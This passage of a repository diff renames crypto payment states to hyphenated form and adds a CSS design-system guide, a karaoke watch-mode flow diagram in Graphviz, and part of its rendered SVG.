- **`latepay-refunded`** - Initial state for late payment objects (payments received after expiration)
- **`doublepay-refunded`** - Initial state for duplicate payment objects (separate payment instances)
**Business Logic**: These states represent separate payment flows and are processed with Priority 0-2 depending on their nature.
@ -103,9 +103,9 @@ Entry point states that don't transition from `received` - they represent the st
Customer received their product - invoices are preserved:
- **`confirmed`** - Normal successful payment (exact amount, confirmed)
- **`confirmed_complete`** - Confirmed payment that has been swept to cold storage
- **`confirmed_overpay_refunded_complete`** - Overpaid, customer got product + refund
- **`confirmed_overpay_not_refunded`** - Overpaid, customer got product, no refund wallet configured
- **`confirmed-complete`** - Confirmed payment that has been swept to cold storage
- **`confirmed-overpay-refunded-complete`** - Overpaid, customer got product + refund
- **`confirmed-overpay-not-refunded`** - Overpaid, customer got product, no refund wallet configured
**Business Logic**: `is_successful_payment() = True`, `should_keep_invoice() = True`
@ -114,18 +114,18 @@ Customer did not receive product - invoices are deleted:
- **`expired`** - Payment window expired before any blockchain detection
- **`cancelled`** - User cancelled payment (only from pending)
- **`*_refunded_complete`** - Failed payments with completed refunds
- **`*_not_refunded`** - Failed payments with no refund wallet configured
- **`*-refunded-complete`** - Failed payments with completed refunds
- **`*-not-refunded`** - Failed payments with no refund wallet configured
**Business Logic**: `is_failed_payment() = True`, `should_keep_invoice() = False`
### 🟡 **Refund Processing States** (Yellow)
Active refund workflows - intermediate states:
- **`confirmed_overpay_refunded`** - Overpayment refund in progress (customer got product)
- **`underpaid_refunded`** - Underpayment refund in progress
- **`out_of_stock_refunded`** - Out of stock refund in progress
- **Note**: `latepay_refunded` and `doublepay_refunded` are Initial/Waiting states, not regular refund processing
- **`confirmed-overpay-refunded`** - Overpayment refund in progress (customer got product)
- **`underpaid-refunded`** - Underpayment refund in progress
- **`out-of-stock-refunded`** - Out of stock refund in progress
- **Note**: `latepay-refunded` and `doublepay-refunded` are Initial/Waiting states, not regular refund processing
**Business Logic**: Priority 0 processing (highest), actively monitored for confirmation
@ -133,7 +133,7 @@ Active refund workflows - intermediate states:
Active payment processing states:
- **`received`** - Payment detected on blockchain, being processed
- **`confirmed_overpay`** - Overpayment confirmed, deciding refund action
- **`confirmed-overpay`** - Overpayment confirmed, deciding refund action
**Business Logic**: Priority 1-3 processing, confirmation monitoring
@ -153,8 +153,8 @@ All status constants use past-tense naming for consistency:
### **Rule 3: Entry Points vs Transitions**
Some states are entry points for new payment objects, not transitions from existing payments:
- `pending` - Entry point for new payments
- `latepay_refunded` - Entry point for late payment objects (created after expiration)
- `doublepay_refunded` - Entry point for duplicate payment objects
- `latepay-refunded` - Entry point for late payment objects (created after expiration)
- `doublepay-refunded` - Entry point for duplicate payment objects
### **Rule 4: Invoice Preservation Logic**
```python
@ -168,7 +168,7 @@ should_keep_invoice() = is_successful_payment()
The crypto watcher processes payments by priority to ensure proper fund flow and customer service:
### **Priority 0 (Highest): Customer Refunds**
- `doublepay_refunded`, `latepay_refunded`, `underpaid_refunded`, `out_of_stock_refunded`
- `doublepay-refunded`, `latepay-refunded`, `underpaid-refunded`, `out-of-stock-refunded`
- **Rationale**: Customer service is highest priority
### **Priority 1: New Incoming Payments**
@ -180,50 +180,50 @@ The crypto watcher processes payments by priority to ensure proper fund flow and
- **Rationale**: General processing tasks
### **Priority 3: Auto-Sweep to Shop Owner**
- `confirmed`, `confirmed_overpay`
- `confirmed`, `confirmed-overpay`
- **Rationale**: Move confirmed funds to shop owner
### **Priority 4 (Lowest): Restocking Fee Sweeps**
- `*_refunded_complete` states
- `*-refunded-complete` states
- **Rationale**: Most dangerous operation, requires high confirmations, done last
## Business Logic Flows
### **Normal Payment Flow**
```
pending → received → confirmed → confirmed_complete ✅
pending → received → confirmed → confirmed-complete ✅
```
Customer pays exact amount, gets product, invoice kept, funds swept to cold storage.
### **Overpayment Flow**
```
pending → received → confirmed_overpay → confirmed_overpay_refunded → confirmed_overpay_refunded_complete ✅
pending → received → confirmed-overpay → confirmed-overpay-refunded → confirmed-overpay-refunded-complete ✅
```
Customer overpays, gets product, gets refund, invoice kept.
### **Late Payment Flow**
```
Original: pending → expired ❌
New object: latepay_refunded → latepay_refunded_complete ❌
New object: latepay-refunded → latepay-refunded-complete ❌
```
Original payment expires. Late payment creates new object, gets refunded, invoice deleted.
### **Underpayment Flow**
```
pending → received → underpaid_refunded → underpaid_refunded_complete ❌
pending → received → underpaid-refunded → underpaid-refunded-complete ❌
```
Customer pays too little, gets refund, no product, invoice deleted.
### **Duplicate Payment Flow**
```
Original: pending → received → confirmed ✅
Duplicate: doublepay_refunded → doublepay_refunded_complete ❌
Duplicate: doublepay-refunded → doublepay-refunded-complete ❌
```
First payment succeeds, duplicate creates separate object and gets refunded.
### **Out of Stock Flow**
```
pending → received → out_of_stock_refunded → out_of_stock_refunded_complete ❌
pending → received → out-of-stock-refunded → out-of-stock-refunded-complete ❌
```
Product unavailable, customer gets refund, no product, invoice deleted.
@ -237,15 +237,15 @@ User cancels before payment detected, invoice deleted.
**Successful Terminals** (keep invoice):
- `confirmed` - Normal success (awaiting sweep)
- `confirmed_complete` - Normal success + swept to cold storage
- `confirmed_overpay_refunded_complete` - Overpaid + refunded
- `confirmed_overpay_not_refunded` - Overpaid, no refund wallet
- `confirmed-complete` - Normal success + swept to cold storage
- `confirmed-overpay-refunded-complete` - Overpaid + refunded
- `confirmed-overpay-not-refunded` - Overpaid, no refund wallet
**Failed Terminals** (delete invoice):
- `expired` - Never paid
- `cancelled` - User cancelled
- `*_refunded_complete` - Failed + refunded
- `*_not_refunded` - Failed, no refund wallet
- `*-refunded-complete` - Failed + refunded
- `*-not-refunded` - Failed, no refund wallet
## State Transition Validation

358
docs/design-system.md Normal file
View file

@ -0,0 +1,358 @@
# MPS Design System
## Overview
Make Post Sell uses a design token architecture with CSS custom properties as the single source of truth. Mobile-first. CSS Grid only (no Flexbox). Accessible. Respects reduced motion. Supports light and dark themes.
## Architecture Diagram
```
┌─────────────────────────────────────────────────────────┐
│ tokens.css │
│ Design Tokens (:root) │
│ │
│ Colors · Typography · Spacing · Shape · Elevation │
│ Motion · Z-index · Layout · State overlays │
│ │
│ [data-theme="dark"] overrides │
│ │
│ Base resets · Focus · Selection │
│ Typography utilities (.type-*) │
│ Elevation utilities (.elevation-*) │
│ Surface utilities (.surface-*) │
│ State layer · Ripple effect │
│ Animations · Skeleton loading · Spinner │
│ Spacing utilities (.mt-*, .mb-*, .p-*, .gap-*) │
│ Container utilities (.container, -narrow, -wide) │
└──────────────────────┬──────────────────────────────────┘
│ consumed by
▼
┌─────────────────────────────────────────────────────────┐
│ common.css │
│ Component Styles │
│ │
│ Body layout · Navigation · Forms · Buttons │
│ Product grid · Cards · Cart · Comments │
│ Wells · Alerts · Ribbons · Footer │
│ Watch mode · Landing page · Login │
│ Responsive breakpoints │
│ │
│ References tokens via var(--token-name, fallback) │
└──────────────────────┬──────────────────────────────────┘
│ rendered in
▼
┌─────────────────────────────────────────────────────────┐
│ templates/ │
│ Jinja2 Templates │
│ │
│ base.j2 → theme toggle, nav, footer │
│ styleguide.j2 → live component reference │
│ product.j2, content.j2, shop.j2, etc. │
└─────────────────────────────────────────────────────────┘
```
## File Map
| File | Lines | Purpose |
|------|-------|---------|
| `static/css/tokens.css` | 775 | Design tokens, utilities, animations, resets |
| `static/css/common.css` | 3879 | Component styles consuming tokens |
| `templates/styleguide.j2` | 1083 | Live styleguide at `/styleguide` |
| `views/misc.py:23` | — | Styleguide view controller |
## Token Categories
### Colors
```
Brand Surface Text Border
────────── ────────── ────────── ──────────
--color-green --surface-base --text-primary --border-default
--color-blue --surface-dim --text-body --border-light
--color-navy --surface-container --text-secondary --border-focus
--color-purple --surface-container- --text-muted --border-error
--color-danger high --text-faint
--color-gold --surface-inverse --text-disabled
--text-inverse
```
### Typography Scale (Major Third 1.250)
```
Token Size Use
────────── ────── ──────────────────────
--text-xs 12px Captions, overlines
--text-sm 14px Labels, small body
--text-base 16px Body text (root)
--text-md 18px Large body
--text-lg 20px Titles
--text-xl 24px Title large
--text-2xl 30px Headline 3
--text-3xl 36px Headline 2
--text-4xl 48px Headline 1
--text-5xl 60px Display
```
### Spacing Scale (4px base)
```
Token Value
────────── ──────
--space-0 0
--space-1 4px
--space-2 8px
--space-3 12px
--space-4 16px
--space-5 20px
--space-6 24px
--space-8 32px
--space-10 40px
--space-12 48px
--space-16 64px
--space-20 80px
--space-24 96px
```
### Shape (Border Radius)
```
--radius-none 0 Sharp corners
--radius-sm 4px Inputs, code blocks
--radius-md 8px Cards, buttons
--radius-lg 12px Modals, panels
--radius-xl 16px Large surfaces
--radius-2xl 24px Pills
--radius-full 9999px Circles
```
### Elevation (Box Shadow)
```
--elevation-0 none Flat
--elevation-1 subtle Cards at rest
--elevation-2 low Raised cards
--elevation-3 medium Dropdowns
--elevation-4 high Modals
--elevation-5 highest Popovers
```
### Motion
```
Durations Easing
────────────────── ──────────────────
--duration-instant 50ms --ease-standard general transitions
--duration-fast 100ms --ease-decelerate entrances
--duration-normal 200ms --ease-accelerate exits
--duration-slow 300ms --ease-emphasize emphasis
--duration-slower 400ms --ease-spring playful bounce
--duration-entrance 250ms
--duration-exit 200ms
```
### Z-Index Scale
```
--z-base 0 Default stacking
--z-dropdown 100 Dropdowns, popovers
--z-sticky 200 Sticky headers
--z-overlay 300 Overlays, backdrops
--z-modal 400 Modals
--z-toast 500 Toast notifications
--z-ribbon 600 Shop ribbon banner
```
### Layout Breakpoints
```
--content-narrow 400px Login forms, narrow content
--content-width 800px Default content width
--content-wide 1200px Wide layouts
--bp-tablet 800px Tablet breakpoint
--bp-desktop 1200px Desktop breakpoint
```
## Theme System
Light mode is default (`:root`). Dark mode activates via `[data-theme="dark"]` on the `<html>` element. The dark theme overrides all semantic tokens — surfaces, text, borders, brand colors — so components adapt automatically without per-component dark mode rules.
```
Light Dark
────────────────────── ──────────────────────
--surface-base: #FFFFFF --surface-base: #0d1117
--text-primary: #333333 --text-primary: #ffffff
--border-default: #e0e0e0 --border-default: #7ab9ff
--color-green: #a3c765 --color-green: #08e700
--color-navy: #5871ad --color-navy: #7ab9ff
```
Theme toggle: `window.setTheme('dark')` / `window.setTheme('light')`.
## Typography Utilities
CSS classes that compose token values into complete type styles:
| Class | Size | Weight | Use |
|-------|------|--------|-----|
| `.type-display` | clamp(36px, 5vw, 60px) | bold | Hero headlines |
| `.type-headline-1` | 48px | bold | Page titles |
| `.type-headline-2` | 36px | bold | Section titles |
| `.type-headline-3` | 30px | bold | Subsection titles |
| `.type-title-lg` | 24px | semibold | Card titles |
| `.type-title` | 20px | semibold | List titles |
| `.type-title-sm` | 16px | semibold | Small titles |
| `.type-body-lg` | 18px | regular | Lead paragraphs |
| `.type-body` | 16px | regular | Body text |
| `.type-body-sm` | 14px | regular | Secondary text |
| `.type-label-lg` | 14px | semibold | Form labels |
| `.type-label` | 12px | semibold, uppercase | Overline labels |
| `.type-caption` | 12px | regular | Captions |
| `.type-overline` | 11px | bold, uppercase | Section overlines |
| `.type-code` | 0.9em | mono | Inline code |
## Component Library
All components are documented with live examples at `/styleguide`. The styleguide is the single source of truth for the component library. If it is not in the styleguide, it does not exist as a pattern.
### Styleguide Sections
| Section | ID | Description |
|---------|-----|------------|
| Tokens | `#tokens` | Raw token reference table |
| Colors | `#colors` | Brand, surface, text, border, alert swatches |
| Typography | `#typography` | Type scale and utility classes |
| Elevation | `#elevation` | Shadow levels |
| Motion | `#motion` | Animations, transitions, easing |
| Spacing | `#spacing` | Spacing scale visualization |
| Shape | `#shape` | Border radius samples |
| States | `#states` | Interactive state layers |
| Loading | `#loading` | Skeleton and spinner patterns |
| Buttons | `#buttons` | Button variants (green, blue, red, navy, outline) |
| Forms | `#forms` | Input fields, textareas, selects, settings-form (`.settings-form` / `.settings-form-grid` / `.settings-field` / `.settings-field-hint`) |
| Wells | `#wells` | Content wells and containers |
| Alerts | `#alerts` | Success, info, warning, danger alerts |
| Status | `#status` | Status indicators |
| Product Cards | `#cards` | Product grid cards, profile card (`.profile-card-header` / `.profile-avatar` / `.profile-handle` / `.profile-email-reveal`), action button grid (`.action-columns` / `.action-button-grid`), MPS-24 tag chips (`#tag-chips`), MPS-24 sectioned lanes (`#tag-lanes`) |
| Cart | `#cart` | Cart and checkout components |
| Gift Cards | `#gift-cards` | Gift card purchase, balance check, management |
| Comments | `#comments` | Comment form and list |
| Toggle | `#toggle` | Toggle switches |
| Ribbon | `#ribbon` | Shop ribbon banner |
| Environment Banner | `.environment-banner` | Staging/dev environment indicator |
| Trial Banner | `.trial-banner` | Trial countdown and expiry notice |
| Task Bar | `#taskbar` | Task bar component |
| Layout | `#layout` | Grid layout patterns |
| Theme System | `#theme` | Theme toggle and dark mode |
| Footer | `#footer` | Footer component |
### MPS-20 / MPS-21 components
| Class | Where | Description |
|---|---|---|
| `.cart-negotiation-card` | `cart.j2` | Soft-green "Offer accepted / Auction won" well at the top of a negotiated cart |
| `.cart-negotiation-deadline` | `cart.j2` | Pay-by countdown line inside the negotiation card |
| `.cart-negotiation-pill` | `cart.j2` | "Offer accepted · quantity locked" pill on line items |
| `.offer-pay-cta-actions` | `offer.j2` | Two-col grid: Cancel left, Pay right (stacks on narrow viewports) |
| `.offer-pay-deadline-note` | `offer.j2` | Buyer's "Payment due in 23 hours, 14 minutes" copy |
| `.offer-pay-link-row` | `offer.j2` | Seller's shareable offer-link with Copy button |
| `.offer-respond-deadline-note` | `offer.j2` | "Respond in 5 days, or this offer auto-expires" |
| `.auction-winner-pay` | `auction.j2` | "You won this auction!" well with countdown + pay CTA |
| `.product-add-disabled-note` | `product.j2` | Caption under disabled Add To Cart when active cart is locked |
| `.shop-offers-page` | `user_offers.j2` + `user_bids.j2` + `shop_offers.j2` | Wider page (max-width 1100px) overriding `.one-column` for the offers/bids inbox tables |
| `.shop-offers-table` | inbox templates | Responsive table; collapses to per-row block list below 720px |
| `.notification-badge` | `base.j2` + `/u/settings` | Danger-color pill showing unread notification count |
| `.notification-row` + `.notification-row-unread` | `user_notifications.j2` | Notification list rows; read rows fade to 0.65 opacity, unread rows get an alert-info background + navy left border |
| `.notification-row-breadcrumbs` | `user_notifications.j2` | Shop › Product › Offer/Auction/Invoice chain under each row |
| `.billing-page` / `.billing-paypal-card` / `.billing-actions` | `billing.j2` | `/billing` redesigned with Grid + tokens (no inline styles) |
| `[data-pay-deadline]` | offer + auction + cart | Convention attribute the shared `static/js/pay-countdown.js` (and inline tickers in `offer.js` / `auction.js`) rewrite once per second with a prose human delta ("in 23 hours, 14 minutes, 8 seconds") matching the server-rendered `ago.human()` fallback |
### MPS-24 components — tags, chips, lanes
| Class | Where | Description |
|---|---|---|
| `.tag-chip-strip` | `home.j2`, `shop.j2`, `shop_tag.j2` | Horizontally scrolling row of chips at the top of the shop home; `grid-auto-flow: column` + `overflow-x: auto` so chips swipe on mobile |
| `.tag-chip` | every chip strip + bulk tagger | Pill-shaped link, tokens-only colors, hover brightens border + bg |
| `.tag-chip-active` | current filter chip | Accent-fill chip; click on home filters the grid in place via `static/js/tag_filter.js` |
| `.tag-lane` | `home.j2`, `shop.j2` (layout 2) | One `<section>` per top tag; capped product count via `shop.home_layout_per_lane_limit` |
| `.tag-lane-header` | inside `.tag-lane` | Grid 1fr / auto — lane title left, "See all →" right |
| `.tag-lane-grid` | inside `.tag-lane` | Reuses `.serp` grid pattern; horizontal lane is the *outer* layout, items inside still use product grid |
| `.tag-list` / `.tag-list-item` | `shop_tags.j2` (bulk tagger) | Operator tag overview: tag pill + product count + view / delete row |
| `.tag-product-list` / `.tag-product-row` | `shop_tags.j2` (bulk tagger) | "Apply / Applied" toggle per product per tag |
| `.tag-detail-header` | `shop_tag.j2` | Tag detail page header (tag name + back link) |
| `[data-tag-strip]` | chip strip | JS hook for `tag_filter.js` |
| `[data-tag-grid]` | flat `.serp` | JS hook — items inside carry `data-tag-slugs` for in-place filter |
| `[data-tag-slugs]` | `.serp-item` | Space-separated tag slugs the item carries; consumed by `tag_filter.js` |
| `.tag-suggest-list` / `.tag-suggest-item` | `shop_tags.j2` (Phase 2) | Suggested-cluster well rendered when operator clicks "Suggest categories from titles + descriptions"; per-cluster grid with label, sample titles, Apply / Dismiss actions |
| `.tag-suggest-actions` | `shop_tags.j2` | Apply / Dismiss button row, `grid-auto-flow: column` |
| `.product-tag-chips` / `.tag-chip-list` | `product_edit.j2` (Phase 2.7) | Per-product SPA tag editor container; `js-only`, revealed by `product_tags.js`. Chips wrap as inline-level pills (the `<ul>` is deliberately not a grid/flex parent) |
| `.tag-chip-removable` | `product_edit.j2`, `/styleguide#tagchips` | Same pill language as `.tag-chip` but an `<li>` with a label + an always-visible `.tag-chip-removable-x` remove button (no hover-only controls). `inline-grid` `auto auto` |
| `.tag-chip-add` | `product_edit.j2` | Add-a-tag row, grid `1fr auto`, stacks to one column under 600px |
| `.tag-chip-flash` | `product_edit.j2` | Toast region reusing `.tag-flash-toast` / `.tag-flash-{success,error,info}` |
| `[data-product-tags]` / `[data-product-tags-url]` | `product_edit.j2` | JS hooks for `product_tags.js`: container + the `/p/{id}/tags` endpoint URL |
| `.serp-rail` / `.serp-rail-list` / `.serp-rail-card` | `_facet_nav.j2:featured_rail` macro on `shop_tag.j2` / `home.j2` / `shop.j2` (Phase 2.8l) | Right rail on SERP pages — curated featured products or random fallback. 3rd grid child of `.tag-detail-layout`; full-width below results 800–1099px, sticky right column ≥1100px. `/styleguide#serprail` |
| `[data-focus-section]` / `[data-focus-heading]` / `[data-focus-list]` | `shop_tags.j2` (Phase 2.8) | Stable bulk-tagger focus container — always in the DOM, `hidden` until a tag is focused; `tag_bulk.js` swaps the product list in place instead of a full reload |
| `[data-tag-focus-link]` | `shop_tags.j2` (Phase 2.8) | Tag chip in the All-tags list; `tag_bulk.js` intercepts the click and fetches `?focus=<slug>` as JSON |
| `.tag-list-dragging` / `.tag-list-drop-target` | `shop_tags.j2` (Phase 2.8) | Dragged row (dimmed) + active drop position during HTML5 drag-to-reorder; `tag_bulk.js` POSTs `set_order` on drop |
## CSS Conventions
### Layout
- **CSS Grid only** — never use Flexbox for layout
- Mobile-first: base styles target mobile, `@media` queries enhance for larger screens
- Primary breakpoint: `max-width: 800px` for mobile
### Token Consumption
Components in `common.css` reference tokens with fallbacks:
```css
/* Good — token with fallback for resilience */
background-color: var(--surface-base, #ffffff);
border-radius: var(--radius-sm, 4px);
/* Good — token without fallback (tokens.css always loaded) */
padding: var(--space-4);
```
### Media Sizing
Never combine `width: 100%` with `max-height` on media elements. Use:
```css
/* Correct */
width: auto;
max-width: 100%;
max-height: 33vh;
/* Wrong — creates dead whitespace */
width: 100%;
max-height: 33vh;
```
### Mobile Usability
Never use hover-only interactions. All interactive elements must be always visible and tappable. Design touch-first, then optionally enhance for desktop hover.
### Reduced Motion
All animations respect `prefers-reduced-motion: reduce` via a global media query in `tokens.css` that collapses durations to near-zero.
### Capability-Driven Presentation
Follow Russell Ballestrini's capability-driven presentation practice. A page need not look identical across all browsers. Accommodate what the user's browser can do. Use the `js-only` / `<noscript>` pattern for progressive enhancement.
## Adding New Components
1. Define the component styles in `common.css`, consuming tokens from `tokens.css`
2. Add a live example to `/styleguide` (`templates/styleguide.j2`)
3. If the component participates in watch mode SPA navigation, update all three layers: template, `watch.js`, `watch.py`
## Load Order
```
base.j2
└─ <link> static/css/tokens.css ← tokens + utilities + resets
└─ <link> static/css/common.css ← components consuming tokens
└─ per-page <style> blocks ← page-specific overrides
```

30
docs/karaoke-ondemand.dot Normal file
View file

@ -0,0 +1,30 @@
// On-Demand Karaoke — Watch Mode User Flow
// Render: dot -Tsvg docs/karaoke-ondemand.dot -o docs/karaoke-ondemand.dot.svg
digraph karaoke_ondemand {
rankdir=TB;
node [shape=box, style="rounded,filled", fontname="monospace", fontsize=10];
edge [fontname="monospace", fontsize=9];
click [label="User clicks 🎤\n(watch.js)", fillcolor="#e0f2f1"];
check [label="Has tracks?", shape=diamond, fillcolor="#fff8e1"];
cycle [label="cycleKaraoke()\nOriginal → Instrumentals → Vocals", fillcolor="#e8f5e9"];
post [label="POST /karaoke/{id}\n(fetch, non-blocking)", fillcolor="#e8eaf6"];
fork [label="Server forks\ndetached grandchild", fillcolor="#e8eaf6"];
process [label="process_karaoke()\n(~30-120s)", fillcolor="#fce4ec"];
hourglass [label="Button shows ⌛\nkaraokeProcessing=true", fillcolor="#e0f2f1"];
refresh [label="10s URL refresh\nfetchWatchData()", fillcolor="#e0f2f1"];
detect [label="instrumentals_url\nappears in JSON?", shape=diamond, fillcolor="#fff8e1"];
autoswitch [label="Auto-switch to\ninstrumentals 🎤", fillcolor="#e8f5e9"];
click -> check;
check -> cycle [label="yes"];
check -> post [label="no (eligible)"];
post -> fork [label="200 {status: processing}"];
post -> hourglass;
fork -> process;
hourglass -> refresh [label="every 10s"];
refresh -> detect;
detect -> refresh [label="not yet"];
detect -> autoswitch [label="tracks ready"];
process -> detect [label="DB updated", style=dashed];
}

155
docs/karaoke-ondemand.dot.svg Normal file
View file

@ -0,0 +1,155 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<!-- Generated by graphviz version 2.43.0 (0)
-->
<!-- Title: karaoke_ondemand Pages: 1 -->
<svg width="458pt" height="577pt"
viewBox="0.00 0.00 458.00 577.00" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<g id="graph0" class="graph" transform="scale(1 1) rotate(0) translate(4 573)">
<title>karaoke_ondemand</title>
<polygon fill="white" stroke="transparent" points="-4,4 -4,-573 454,-573 454,4 -4,4"/>
<!-- click -->
<g id="node1" class="node">
<title>click</title>
<path fill="#e0f2f1" stroke="black" d="M165,-569C165,-569 88,-569 88,-569 82,-569 76,-563 76,-557 76,-557 76,-545 76,-545 76,-539 82,-533 88,-533 88,-533 165,-533 165,-533 171,-533 177,-539 177,-545 177,-545 177,-557 177,-557 177,-563 171,-569 165,-569"/>
<text text-anchor="middle" x="126.5" y="-554" font-family="monospace" font-size="10.00">User clicks 🎤</text>
<text text-anchor="middle" x="126.5" y="-543" font-family="monospace" font-size="10.00">(watch.js)</text>
</g>
<!-- check -->
<g id="node2" class="node">
<title>check</title>
<path fill="#fff8e1" stroke="black" d="M114.89,-492.98C114.89,-492.98 68.92,-481.02 68.92,-481.02 63.11,-479.51 63.11,-476.49 68.92,-474.98 68.92,-474.98 114.89,-463.02 114.89,-463.02 120.69,-461.51 132.31,-461.51 138.11,-463.02 138.11,-463.02 184.08,-474.98 184.08,-474.98 189.89,-476.49 189.89,-479.51 184.08,-481.02 184.08,-481.02 138.11,-492.98 138.11,-492.98 132.31,-494.49 120.69,-494.49 114.89,-492.98"/>
<text text-anchor="middle" x="126.5" y="-475.5" font-family="monospace" font-size="10.00">Has tracks?</text>
</g>
<!-- click&#45;&gt;check -->
<g id="edge1" class="edge">
<title>click&#45;&gt;check</title>
<path fill="none" stroke="black" d="M126.5,-532.81C126.5,-524.79 126.5,-515.05 126.5,-506.07"/>
<polygon fill="black" stroke="black" points="130,-506.03 126.5,-496.03 123,-506.03 130,-506.03"/>
</g>
<!-- cycle -->
<g id="node3" class="node">
<title>cycle</title>
<path fill="#e8f5e9" stroke="black" d="M203,-414C203,-414 12,-414 12,-414 6,-414 0,-408 0,-402 0,-402 0,-390 0,-390 0,-384 6,-378 12,-378 12,-378 203,-378 203,-378 209,-378 215,-384 215,-390 215,-390 215,-402 215,-402 215,-408 209,-414 203,-414"/>
<text text-anchor="middle" x="107.5" y="-399" font-family="monospace" font-size="10.00">cycleKaraoke()</text>
<text text-anchor="middle" x="107.5" y="-388" font-family="monospace" font-size="10.00">Original → Instrumentals → Vocals</text>
</g>
<!-- check&#45;&gt;cycle -->
<g id="edge2" class="edge">
<title>check&#45;&gt;cycle</title>
<path fill="none" stroke="black" d="M122.66,-460.81C120.17,-450.36 116.88,-436.5 114,-424.36"/>
<polygon fill="black" stroke="black" points="117.32,-423.19 111.6,-414.27 110.51,-424.81 117.32,-423.19"/>
<text text-anchor="middle" x="126.5" y="-434.8" font-family="monospace" font-size="9.00">yes</text>
</g>
<!-- post -->
<g id="node4" class="node">
<title>post</title>
<path fill="#e8eaf6" stroke="black" d="M364,-414C364,-414 245,-414 245,-414 239,-414 233,-408 233,-402 233,-402 233,-390 233,-390 233,-384 239,-378 245,-378 245,-378 364,-378 364,-378 370,-378 376,-384 376,-390 376,-390 376,-402 376,-402 376,-408 370,-414 364,-414"/>
<text text-anchor="middle" x="304.5" y="-399" font-family="monospace" font-size="10.00">POST /karaoke/{id}</text>
<text text-anchor="middle" x="304.5" y="-388" font-family="monospace" font-size="10.00">(fetch, non&#45;blocking)</text>
</g>
<!-- check&#45;&gt;post -->
<g id="edge3" class="edge">
<title>check&#45;&gt;post</title>
<path fill="none" stroke="black" d="M150.51,-466.21C177.74,-453.97 222.83,-433.7 257.2,-418.26"/>
<polygon fill="black" stroke="black" points="258.9,-421.33 266.59,-414.04 256.03,-414.94 258.9,-421.33"/>
<text text-anchor="middle" x="261" y="-434.8" font-family="monospace" font-size="9.00">no (eligible)</text>
</g>
<!-- fork -->
<g id="node5" class="node">
<title>fork</title>
<path fill="#e8eaf6" stroke="black" d="M287,-332C287,-332 180,-332 180,-332 174,-332 168,-326 168,-320 168,-320 168,-308 168,-308 168,-302 174,-296 180,-296 180,-296 287,-296 287,-296 293,-296 299,-302 299,-308 299,-308 299,-320 299,-320 299,-326 293,-332 287,-332"/>
<text text-anchor="middle" x="233.5" y="-317" font-family="monospace" font-size="10.00">Server forks</text>
<text text-anchor="middle" x="233.5" y="-306" font-family="monospace" font-size="10.00">detached grandchild</text>
</g>
<!-- post&#45;&gt;fork -->
<g id="edge4" class="edge">
<title>post&#45;&gt;fork</title>
<path fill="none" stroke="black" d="M253.29,-377.86C245.86,-373.21 239.15,-367.35 234.5,-360 231.18,-354.76 229.82,-348.43 229.53,-342.21"/>
<polygon fill="black" stroke="black" points="233.03,-342.14 229.89,-332.03 226.04,-341.9 233.03,-342.14"/>
<text text-anchor="middle" x="298" y="-352.8" font-family="monospace" font-size="9.00">200 {status: processing}</text>
</g>
<!-- hourglass -->
<g id="node7" class="node">
<title>hourglass</title>
<path fill="#e0f2f1" stroke="black" d="M438,-278C438,-278 313,-278 313,-278 307,-278 301,-272 301,-266 301,-266 301,-254 301,-254 301,-248 307,-242 313,-242 313,-242 438,-242 438,-242 444,-242 450,-248 450,-254 450,-254 450,-266 450,-266 450,-272 444,-278 438,-278"/>
<text text-anchor="middle" x="375.5" y="-263" font-family="monospace" font-size="10.00">Button shows ⌛</text>
<text text-anchor="middle" x="375.5" y="-252" font-family="monospace" font-size="10.00">karaokeProcessing=true</text>
</g>
<!-- post&#45;&gt;hourglass -->
<g id="edge5" class="edge">
<title>post&#45;&gt;hourglass</title>
<path fill="none" stroke="black" d="M342.82,-377.98C350.04,-373.14 356.79,-367.19 361.5,-360 375.36,-338.86 377.98,-309.74 377.67,-288.55"/>
<polygon fill="black" stroke="black" points="381.15,-288.15 377.28,-278.28 374.16,-288.41 381.15,-288.15"/>
</g>
<!-- process -->
<g id="node6" class="node">
<title>process</title>
<path fill="#fce4ec" stroke="black" d="M279,-224C279,-224 184,-224 184,-224 178,-224 172,-218 172,-212 172,-212 172,-200 172,-200 172,-194 178,-188 184,-188 184,-188 279,-188 279,-188 285,-188 291,-194 291,-200 291,-200 291,-212 291,-212 291,-218 285,-224 279,-224"/>
<text text-anchor="middle" x="231.5" y="-209" font-family="monospace" font-size="10.00">process_karaoke()</text>
<text text-anchor="middle" x="231.5" y="-198" font-family="monospace" font-size="10.00">(~30&#45;120s)</text>
</g>
<!-- fork&#45;&gt;process -->
<g id="edge6" class="edge">
<title>fork&#45;&gt;process</title>
<path fill="none" stroke="black" d="M233.18,-295.97C232.87,-279.38 232.38,-253.88 232.02,-234.43"/>
<polygon fill="black" stroke="black" points="235.52,-234.27 231.83,-224.34 228.52,-234.4 235.52,-234.27"/>
</g>
<!-- detect -->
<g id="node9" class="node">
<title>detect</title>
<path fill="#fff8e1" stroke="black" d="M216.86,-139.07C216.86,-139.07 121.14,-114.93 121.14,-114.93 115.32,-113.47 115.32,-110.53 121.14,-109.07 121.14,-109.07 216.86,-84.93 216.86,-84.93 222.68,-83.47 234.32,-83.47 240.14,-84.93 240.14,-84.93 335.86,-109.07 335.86,-109.07 341.68,-110.53 341.68,-113.47 335.86,-114.93 335.86,-114.93 240.14,-139.07 240.14,-139.07 234.32,-140.53 222.68,-140.53 216.86,-139.07"/>
<text text-anchor="middle" x="228.5" y="-115" font-family="monospace" font-size="10.00">instrumentals_url</text>
<text text-anchor="middle" x="228.5" y="-104" font-family="monospace" font-size="10.00">appears in JSON?</text>
</g>
<!-- process&#45;&gt;detect -->
<g id="edge11" class="edge">
<title>process&#45;&gt;detect</title>
<path fill="none" stroke="black" stroke-dasharray="5,2" d="M230.94,-187.7C230.61,-177.61 230.18,-164.46 229.77,-152.01"/>
<polygon fill="black" stroke="black" points="233.26,-151.68 229.44,-141.8 226.27,-151.91 233.26,-151.68"/>
<text text-anchor="middle" x="257" y="-162.8" font-family="monospace" font-size="9.00">DB updated</text>
</g>
<!-- refresh -->
<g id="node8" class="node">
<title>refresh</title>
<path fill="#e0f2f1" stroke="black" d="M345,-36C345,-36 256,-36 256,-36 250,-36 244,-30 244,-24 244,-24 244,-12 244,-12 244,-6 250,0 256,0 256,0 345,0 345,0 351,0 357,-6 357,-12 357,-12 357,-24 357,-24 357,-30 351,-36 345,-36"/>
<text text-anchor="middle" x="300.5" y="-21" font-family="monospace" font-size="10.00">10s URL refresh</text>
